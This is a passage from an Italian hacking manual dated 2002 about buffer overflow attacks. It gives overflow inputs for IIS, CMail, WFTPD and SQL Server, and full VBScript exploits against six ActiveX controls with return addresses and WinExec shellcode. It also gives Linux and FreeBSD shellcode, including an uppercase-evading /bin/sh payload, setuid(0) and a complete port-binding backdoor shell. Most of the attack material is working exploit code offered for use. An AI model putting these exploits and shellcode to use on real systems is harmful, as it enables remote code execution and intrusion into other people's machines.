Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

C:\> telnet 192.168.255.12 80 A connessione avvenuta si deve digitare : GET /null.ida?[buffer di 240 bytes]=X HTTP/1.1 Host: [valore arbitrario] Buffer un array di almeno 240 bytes il quale viene passato alla DLL di gestione idq.dll o ida.dll. Un altro caso di sicurezza legato ai buffer overflow stato segnalato per quello che riguarda un usatissimo mail server e precisamente CMail SMTP Server. Il mail server sopra citato consente un attacco di tipo buffer overflow da remoto. Il meccanismo quello consueto: l'invio di una stringa di grandi dimensioni come argomento di un comando SMTP; in particolare, l'invio di una stringa di circa 7090 caratteri come username del mittente di posta, come qui sotto riportato. $ telnet example.com 25 Trying example.com... Connected to example.com. Escape character is '^]'. 220 SMTP services ready. Computalynx CMail Server Version: 2.4 helo nome 250 Hello nome [indirizzo IP del mittente], how are you today? MAIL FROM: cmail <[buffer]@cmaildotcom.com> dove in [buffer] si sostituisca la stringa di grandi dimensioni. Il problema era presente gi nella versione 2.3 del server, ma non stato risolto. A questo punto vediamo un buffer overflow legato ad un altrettanto usato FTP Server e precisamente WFTPD. Il server FTP WFTPD, nelle versioni 2.34 e 2.40 (nonch nelle versioni precedenti), pu essere attaccato con successo da remoto, con un attacco di tipo buffer overflow, inviando sue stringhe di grandi dimensioni in argomento a comandi MKD e CWD, come di seguito indicato. Primo comando: MKD aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Secondo comando: CWD aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Il problema affligge il server sia sotto Win 9x che sotto Windows NT. Uno degli ultimissimi casi venuti fuori relativo a SQL Server sia per quanto riguarda la versione 7.0 che la versione 2000. SQL Server permette la connessione da remoto alla sorgente dati. Una delle possibilit di questa potenzialit quella di permettere la creazione di connessioni ad hoc verso una sorgente di dati remota senza dover settare un server collegato. Questo possibile grazie a OLE DB provider il quale appunto un data source provider di alto livello. La potenzialit disponibile invocando direttamente il provider OLE DB attraverso il nome usato per connettersi a una sorgente di dati remota.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


In questo meccanismo esiste un buffer non controllato il quale potrebbe causare un errore nellesecuzione del servizio SQL Server. Questo sistema di database pu essere configurato per funzionare in contesti di sicurezza differenti e di fatto il risultato di un buffer overflow dipende da questo. Un eventuale attaccante pu sfruttare eseguire un exploits di questa vulnerabilit seguendo due vie. Esso pu cercare di leggere ed eseguire una query del database che richiama una delle funzioni affette. Al contrario se il sito WEB o qualsiasi altro front end al database fosse configurato per accedere o processare query arbitrarie sarebbe possibile per un attaccante causare che la query chiami una delle funzioni in questione con i parametri errati.

Buffer overflow in applicazioni Windows


Alcune applicazioni, anche molto diffuse, consentono a un attaccante la realizzazione di attacchi di tipo buffer overflow in maniera relativamente semplice. L'attacco possibile sfruttando metodi ben noti e facilmente manipolabili per la sovrascrittura dell'indirizzo di ritorno da una chiamata a procedura nello stack. Come gi segnalato, il problema di base risiede nell'insieme di architetture ActiveX/OLE/COM/DCOM: in nessuna di essevengono normalmente effettuati controlli sulla dimensione dei buffer di dati in transito durante una chiamata a metodo, il che consente, volontariamente o meno, la sovrascrittura dell'indirizzo di ritorno. Segue l'elenco delle applicazioni segnalate. 1. 2. 3. 4. 5. 6. Acrobat Control for ActiveX (file PDF.OCX), versione 1.3.188 Setupctl 1.0 Type Library (file SETUPCTL.DLL), versione 1.1.0.6 Eyedog OLE Control Module (file EYEDOG.OCX), versione 1.1.1.75 MSN ActiveX Setup BBS Control (file SETUPBBS.OCX), versione 4.71.0.10 hhopen OLE Control Module (file HHOPEN.OCX), versione 1.0.0.1 RegWizCtrl 1.0 Type Library (file REGWIZC.DLL), versione 3.0.0.0

Sono stati presentati da Shane Hird degli esempi di codice per effettuare gli attacchi: per tutti gli esempi presentati, l'autore ha indicato a titolo di esempio il salto all'invocazione di ExitProcess, ma naturalmente il codice da eseguire pu essere arbitrariamente scelto dall'attaccante. EyeDog <object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA" id="eye"></object> <script language="vbscript"> <!-msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written by Shane Hird") ' Padding per l'attacco expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA" ' indirizzo per la RET: ExitProcess, BFF8D4CA expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' Chiamata al metodo attaccato, MSInfoLoadFile eye.MSInfoLoadFile(expstr)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


--></script> HHopen <object classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233" id="hhopen"></OBJECT> <script language="vbscript"><!--msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) + "Written ByShane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA" ' al posto del corretto indirizzo per l'istruzione RET, ' si punta a ExitProcess, mediante BFF8D4CA. expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' Pad extra per realizzare la sovrascritturaexpstr = expstr + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ' Chiamata al metodo attaccato, passando come parametro un normale file di help hhopen.OpenHelp "Winhlp32.hlp", expstr--> </script> SETUPBBS <object classid="clsid:8F0F5093-0A70-11D0-BCA9-00C04FD85AA6" id="setupbbs"></OBJECT> <script language="vbscript"><!--msgbox("MSN Setup BBS Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ' RET address (ExitProcess BFF8D4CA) expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' possibile realizzare l'attacco con una qualunque delle due chiamate ' setupbbs.vAddNewsServer expstr, true setupbbs.bIsNewsServerConfigured expstr --></script> PDF L'indirizzo cui viene rediretto li comando RET consiste in questo caso di una JMP ESP per il lancio di CALC.EXE. Il suo valore quindi pu essere differente nelle varie versioni di Windows; anche qui l'esecuzione di questo comando puramente a titolo di esempio. <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" id="pdf"></object> <script language="VBscript"><!--msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA" expstr = expstr + Chr(235) expstr = expstr + Chr(53) expstr = expstr + Chr(208) expstr = expstr + Chr(127) 'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)

' con le NOP che seguono si "risistema" lo stack alle corrette dimensioni expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19 (dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 1) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) ' PUSH EAX

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


expstr = expstr + Chr(80)

' MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' Il comando rimpiazzabile con qualsiasi altro, ' seguito da uno zero (inserito automaticamente dal sistema) expstr = expstr + "CALC.EXE" ' Chiamata al metodo da attaccare pdf.setview(expstr) --></script> SETUPCTL <object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1" id = "setupctl"> </object> <script language="vbscript"><!--msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" expstr = expstr + Chr(235) expstr = expstr + Chr(53) expstr = expstr + Chr(208) expstr = expstr + Chr(127) 'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)

' le NOP inserite sono utili per il debug expstr = expstr + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19h (Dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) ' PUSH EAX expstr = expstr + Chr(80)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


' MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' Il comando rimpiazzabile con qualsiasi altro, ' seguito da uno zero (inserito automaticamente dal sistema) expstr = expstr + "CALC.EXE" ' lancio dell'attacco setupctl.DistUnit = expstr setupctl.InstallNow --></script> REGWIZC <object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj"> </object> <script language="VbScript" ><!--msgbox("Registration Wizard Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr = "/i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA" ' overflow del puntatore nello stack passato a RET ' per ritornare alla <JMP ESP> nella Shell32. ' Non sono permesse operazioni di tipo NULL expstr = expstr & Chr(235) expstr = expstr & Chr(53) expstr = expstr & Chr(208) expstr = expstr & Chr(127) 'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)

' le NOP presenti facilitano il debug expstr = expstr + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19 (Dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


expstr = expstr + Chr(51) + Chr(192) ' PUSH EAX expstr = expstr + Chr(80) ' MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' Il comando rimpiazzabile con qualsiasi altro, ' seguito da uno zero (inserito automaticamente dal sistema) expstr = expstr + "CALC.EXE" ' Invocazione del metodo attaccato RegWizObj.InvokeRegWizard(expstr) --></script> Nel caso dei sistemi con su SQL Server i seguenti esempi costituiscono dei buffer overflow.
In SQL Server 7 overflow starts at character number 6819 and if the amount of characters is >= 6918 the server will crash: SELECT * FROM OpenDataSource('XXXXXXXXXXX...' ---> 6819 characters or more,'')...nothing SELECT * FROM OPENROWSET('XXXXXXXXXXX...' ---> 6819 characters or more,'','') In SQL Server 2000 overflow starts at character number 6887 and if the amount of characters is >= 6998 the server will crash: SELECT * FROM OpenDataSource('XXXXXXXXXXX...' ---> 6887 characters or more,'')...nothing SELECT * FROM OPENROWSET('XXXXXXXXXXX...' ---> 6887 characters or more,'','')

Larte di scrivere delle shell


Generalmente creare exploit remoti di daemons Unix una cosa complessa in quanto non esistono molti metodi per riuscire ad individuarli. La scrittura inoltre dello shell code spesso e volentieri ancora pi complessa. Per fare un esempio vediamo un exploit legato a IMAP4. Questo un exploit relativamente semplice. Tutto quello che si deve fare nascondere la stringa /bin/sh" allinterno di uno shellcode (imapd converte tutti i caratteri in minuscolo in maiuscolo). Nessuna delle istruzioni in una shell generica contengono caratteri minuscoli, per cui diventa necessario cambiare la stringa /bin/sh Questo esattakmente come una shellcode normale a parte il fatto che con u loop si aggiunge 0x20 ad ogni byte nella sringa "/bin/sh". -----imap.S------.globl main main: jmp call start: popl %ebx /* prende lindirizzo di /bin/sh */ movl %ebx,%ecx /* copia lindirizzo in ecx */ addb $0x6,%cl /* ecx ora punta allultimo carattere */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


loop: cmpl %ebx,%ecx jl skip /* if (ecx<ebx) goto skip */ addb $0x20,(%ecx) /* aggiunge 0x20 al byte puntato da %ecx */ decb %cl /* decrementa il puntatore */ jmp loop skip: /* generic shell-spawning code */ movl %ebx,0x8(%ebx) xorl %eax,%eax movb %eax,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 xorl %eax,%eax inc %al int $0x80 call: call start .string "\x0f\x42\x49\x4e\x0f\x53\x48" -------------Questa una variante molto semplice di uno shellcode generico e pu essere usato per mascherare dei caratteri che non sono permessi da un protocollo di un daemon. Il codice scritto include diverse syscalls. Le syscalls usate sono: setuid(): Per recuperare i privilegi di root (wu-ftpd) mkdir()/chdir()/chroot(): Per tornare alla root directory(wu-ftpd) dup2(): Per connettere un tcp socket alla shell( BIND&rpc.mountd tcp-style ) open()/write(): Per scrivere in /etc/passwd socket(): Per scrivere codice connectionless Lattuale numero dell syscall pu essere trovato in <asm/unistd.h> Molte syscalls in linux x86 sono eseguite nello stesso modo. Il numero della syscall viene inserito dentro al registro %eax, e gli argomenti sono messi dentro a %ebx,%ecx e %edx rispettivamente. In alcuni casi ci sono pi argomenti di quanti siano i registri e quindi potrebbe essere necessario mettere gli argomenti allinterno di una memoria utente e quindi salvare gli indirizzi di queste locazioni allinterno dei registri Se un argomento ad esempio fosse una stringa, potrebbe essere possibile mettere questa in memoria passare lindirizzo di questa come argomento. Come nellesempio di prima e come gi detto precedentemente la syscall viene poi chiamata con "int $0x80". Ipoteticamente potreste usare qualsiasi syscall, ma quella che segue potrebbe essere lunica di cui avete bisogno. Il seguente codice preso da unh exploit legasto a wu-ftpd che utilizza setuid(0). ---setuid.S---.globl main main: xorl %ebx,%ebx /* mette a zero %ebx */ movl %ebx,%eax /* mete a zero %eax */ movb $0x17,%al /* setta il numero della syscall */ int $0x80 /* chiama linterrupt */ ---------------

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

Port-Binding Shellcode
Quando state eseguendo un exploit di un daemon remoto con uno shellcode generico, potrebbe essere necessario avere una connessione attiva TCP per eseguire una PIPE della shell su stdin/out/err Questo utilizzabile con tutti gli exploit remoti di Linux. Potrebbe per capitare che una nuova vulnerabilit venga trovata in un daemon che ofre solo servizi UDP (SNMP per esempio). Potrebbe anche essere solo possibile accedere al daemon via UDP a causa delle porte TCP filtrate da qualche firewall. Al momento le vulnerabilit di Linux explottabili via UDP, sia BIND come tutti I servizi rpc eseguono sia UDP che TCP. Allo stesso modo se inviate lexploit via UDP potrebbe essere semplice falsificare i pacchetti UDP attaccanti in modo tale da non apparire in nessun log. Per eseguire lexploit di daemons via UDP potreste scrivere un shellcode per modificare il file password o per eseguire alcuni altri scopi anche se per di fatto quello di aprire una shell il massimo. Chiaramente non possibile adattare una pipe UDP in uno shellcode, in quanto avreste la necessit di avere una connessione TCP. Per questo nata lidea di scrivere una shellcode che si comporta come una backdoor, legata ad una porta in modo che questa venga eseguita quando ricevuta una connessione. Un esempio di codice di questo tipo : int main() { char *name[2]; int fd,fd2,fromlen; struct sockaddr_in serv; fd=socket(AF_INET,SOCK_STREAM,0); serv.sin_addr.s_addr=0; serv.sin_port=1234; serv.sin_family=AF_INET; bind(fd,(struct sockaddr *)&serv,16); listen(fd,1); fromlen=16; /*(sizeof(struct sockaddr)*/ fd2=accept(fd,(struct sockaddr *)&serv,&fromlen); /* "connect" fd2 to stdin,stdout,stderr */ dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); } Ovviamente questa richiede una spazo maggiore di quello richiesto da una shellcode normale ma in ogni caso pu essere scritta in meno di 200 bytes. Considerate che spesso i buffers sono un p pi grandi di questo spazio. Esiste una complicazione aggiuntiva legata al fatto che la sycall legata al socket un p differente rispetto ale altre syscalls, sotto Linux. Ogni chiamata a un socket possiede lo stesso numero 0x66. Per differenziare le diverse socket calls, viene inserito un sottocodice dentro a %ebx. Questo dentro a <linux/net.h>. Quello importante : SYS_SOCKET SYS_BIND SYS_LISTEN 1 2 4

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


SYS_ACCEPT 5

Dobbiamo anche conoscere il valore della costante e la struttura esatta di sockaddr_in. Tutto questo nuovamente dentro al file di prima: AF_INET == 2 SOCK_STREAM == 1 struct sockaddr_in { short int sin_family; /* 2 byte word, containing AF_INET */ unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */ struct in_addr sin_addr /* 4 byte long, should be zeroed */ unsigned char pad[8]; /* should be zero, but doesn't really matter */ }; A questo punto esistono solo due registri liberi, quindi gli argomenti devono essere inseriti dentro alla memoria e %ecx deve contenere lindirizzo di questa. Ora dobbiamo salvare gli argomenti alla fine dello shellcode. I primi 12 bytes devono contenere tre argomenti long arguments, I succesivi 16 devono contenere la struttura sockaddr_in mentra I 4 bytes finali contengono fromlen per la call a accept(). Alla fine i risultati di ciascuna syscall sono inseriti dentro a %eax.
----portshell.S---.globl main main: /* I had to put in a "bounce" in the middle of the code as the shellcode * was too big. If I had made it jmp the entire shellcode, the instruction * would have contained a null byte, so if anyone has a shorter version, * please send me it. */ jmp bounce start: popl %esi /* socket(2,1,0) */ xorl %eax,%eax movl %eax,0x8(%esi) movl %eax,0xc(%esi) movl %eax,0x10(%esi) incb %al movl %eax,%ebx movl %eax,0x4(%esi) incb %al movl %eax,(%esi) movw %eax,0xc(%esi) leal (%esi),%ecx movb $0x66,%al int $0x80

/* 3rd arg == 0 */ /* zero out sock.sin_family&sock.sin_port */ /* zero out sock.sin_addr */ /* socket() subcode == 1 */ /* 2nd arg == 1 */ /* /* /* /* 1st arg == 2 */ sock.sin_family == 2 */ load the address of the arguments into %ecx */ set socket syscall number */

/* bind(fd,&sock,0x10) */ incb %bl /* bind() subcode == 2 */ movb %al,(%esi) /* 1st arg == fd (result from socket()) */ movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */ addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */ movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */ movb $0x23,0xe(%esi) /* set sin.port */ movb $0x66,%al /* no need to set %ecx, it is already set */ int $0x80

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* listen(fd,2) */ movl %ebx,0x4(%esi) incb %bl incb %bl movb $0x66,%al int $0x80

/* /* /* /*

bind() subcode==2, move this to the 2nd arg */ no need to set 1st arg, it is the same as bind() */ listen() subcode == 4 */ again, %ecx is already set */

/* fd2=accept(fd,&sock,&fromlen) */ incb %bl /* accept() subcode == 5 */ movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */ addb $0xc,0x4(%esi) /* increase it by 12 bytes */ movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */ addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */ movb $0x66,%al int $0x80 /* KLUDGE */ jmp skippy bounce: jmp call skippy: /* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */ movb %al,%bl /* move fd2 to 1st arg */ xorl %ecx,%ecx /* 2nd arg is 0 */ movb $0x3f,%al /* set dup2() syscall number */ int $0x80 incb %cl /* 2nd arg is 1 */ movb $0x3f,%al int $0x80 incb %cl /* 2nd arg is 2 */ movb $0x3f,%al int $0x80 /* execve("/bin/sh",["/bin/sh"],NULL) */ movl %esi,%ebx addb $0x20,%ebx /* %ebx now points to "/bin/sh" */ xorl %eax,%eax movl %ebx,0x8(%ebx) movb %al,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 /* exit(0) */ xorl %eax,%eax movl %eax,%ebx incb %al int $0x80 call: call start .ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh" -----------------------------------------------------

Dopo aver inviato lexploit dovrete solo collegarvi alla porta 8960, e quindi interagire con la shell. Il seguente esempio invece indirizzato a FreeBSD ----fbsd.S---.globl main main: jmp call start: /* Modify the ascii string so it becomes lcall 7,0 */ popl %esi

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


xorl %ebx,%ebx movl %ebx,0x1(%esi) /* zeroed long word */ movb %bl,0x6(%esi) /* zeroed byte */ movl %esi,%ebx addb $0x8,%bl /* ebx points to binsh */ jmp blah /* start the code */ call: call start syscall: .ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */ ret binsh: .ascii "/bin/sh...." blah: /* put shellcode here */ call syscall

Overflow legati allheap


Il tipo di buffer overflow visti allinizio di questo capitolo erano legati allo stack. Allinterno dell architettura Intel abbiamo un altro tipo di segmento che viene definito con il termine di heap che viene utilizzato per certi tipi di allocazioni fatte allinterno di un programma. Per fare una prova vedamo il file maps. Il file visualizza le varie porzioni di memoria associate ad un processo e le proprieta' che queste hanno (r/w/x): 08048000-08049000 08049000-0804a000 40000000-40013000 40013000-40014000 40014000-40015000 4001c000-400fe000 400fe000-40102000 40102000-40107000 bfffe000-c0000000 r-xp rw-p r-xp rw-p rw-p r-xp rw-p rw-p rwxp 00000000 00000000 00000000 00012000 00000000 00000000 000e1000 00000000 fffff000 03:06 03:06 03:05 03:05 00:00 03:05 03:05 00:00 00:00 148024 148024 5982 5982 0 5993 5993 0 0 /home/nail/timer /home/nail/timer /lib/ld-2.1.3.so /lib/ld-2.1.3.so /lib/libc-2.1.3.so /lib/libc-2.1.3.so

Struttura di un ELF.
